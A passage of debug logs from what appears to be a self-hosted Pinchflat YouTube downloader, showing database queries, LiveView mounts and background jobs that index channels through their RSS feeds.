shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:59:59.166 [debug] QUERY OK source="media_items" db=0.8ms idle=75.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.166 [debug] Replied in 2ms 22:59:59.166 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "RaVlCwNfvB5OJqQdZTM82Ht2", "media_state" => "downloaded", "source_id" => 1} 22:59:59.166 [debug] QUERY OK source="sources" db=0.0ms idle=75.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.166 [debug] QUERY OK source="media_items" db=0.1ms idle=74.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:59:59.167 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.167 [debug] Replied in 995µs 22:59:59.167 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "RaVlCwNfvB5OJqQdZTM82Ht2", "media_state" => "other", "source_id" => 1} 22:59:59.167 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:59:59.168 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:59:59.169 [debug] QUERY OK source="media_items" db=0.9ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:59:59.169 [debug] Replied in 2ms 23:00:00.669 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:24.827 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:33.776 [info] {"args":{"id":1},"id":446,"meta":{},"system_time":1784847633776626715,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:00:33.777 [debug] QUERY OK source="sources" db=0.6ms idle=1007.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:00:33.778 [debug] QUERY OK source="settings" db=0.5ms idle=794.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:00:33.778 [debug] QUERY OK source="media_profiles" db=0.6ms idle=795.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:00:33.779 [debug] QUERY OK source="settings" db=0.4ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:00:33.779 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 23:00:34.374 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:00:34.375 [debug] QUERY OK source="media_items" db=0.2ms idle=598.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 23:00:34.377 [debug] QUERY OK source="media_items" db=2.1ms idle=598.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:00:34.378 [debug] QUERY OK source="tasks" db=0.0ms idle=599.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [449, 1, ~U[2026-07-23 23:00:34Z], ~U[2026-07-23 23:00:34Z]] 23:00:34.378 [info] {"args":{"id":1},"id":446,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":602099,"event":"job:stop","queue_time":500528,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:00:34.778 [info] {"args":{"id":2},"id":447,"meta":{},"system_time":1784847634778148052,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:00:34.778 [debug] QUERY OK source="sources" db=0.0ms idle=399.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:00:34.778 [debug] QUERY OK source="settings" db=0.0ms idle=399.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:00:34.778 [debug] QUERY OK source="media_profiles" db=0.0ms idle=393.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:00:34.778 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:00:34.778 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 23:00:34.957 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:00:34.957 [debug] QUERY OK source="media_items" db=0.3ms idle=179.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 23:00:34.958 [debug] QUERY OK source="media_items" db=0.3ms idle=179.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 23:00:34.959 [debug] QUERY OK source="tasks" db=0.1ms idle=180.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [450, 2, ~U[2026-07-23 23:00:34Z], ~U[2026-07-23 23:00:34Z]] 23:00:34.959 [info] {"args":{"id":2},"id":447,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":181168,"event":"job:stop","queue_time":605460,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:00:38.008 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/episode_image.jpg 23:00:38.008 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 23:00:38.009 [debug] QUERY OK source="media_items" db=0.1ms idle=232.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 23:00:38.009 [info] Sent 200 in 628µs 23:00:54.828 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.670 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:24.829 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:54.830 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.671 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:24.831 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:54.832 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.672 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:24.833 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:54.835 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.673 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:24.836 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:46.054 [info] {"args":{"id":3},"id":448,"meta":{},"system_time":1784847886054134161,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:04:46.054 [debug] QUERY OK source="sources" db=0.1ms idle=71.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:04:46.054 [debug] QUERY OK source="settings" db=0.0ms idle=71.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:04:46.054 [debug] QUERY OK source="media_profiles" db=0.0ms idle=71.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:04:46.054 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:04:46.054 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 23:04:46.178 [debug] Media ids fetched from RSS: ["QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:04:46.178 [debug] QUERY OK source="media_items" db=0.3ms idle=124.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY", "BEPrk2Ua1zA"] 23:04:46.181 [debug] QUERY OK source="media_items" db=2.9ms idle=124.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:04:46.182 [debug] QUERY OK source="tasks" db=0.0ms idle=127.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [451, 3, ~U[2026-07-23 23:04:46Z], ~U[2026-07-23 23:04:46Z]] 23:04:46.182 [info] {"args":{"id":3},"id":448,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128416,"event":"job:stop","queue_time":934300,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 23:04:54.837 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.674 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:24.838 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:54.839 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.675 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:24.840 [info] 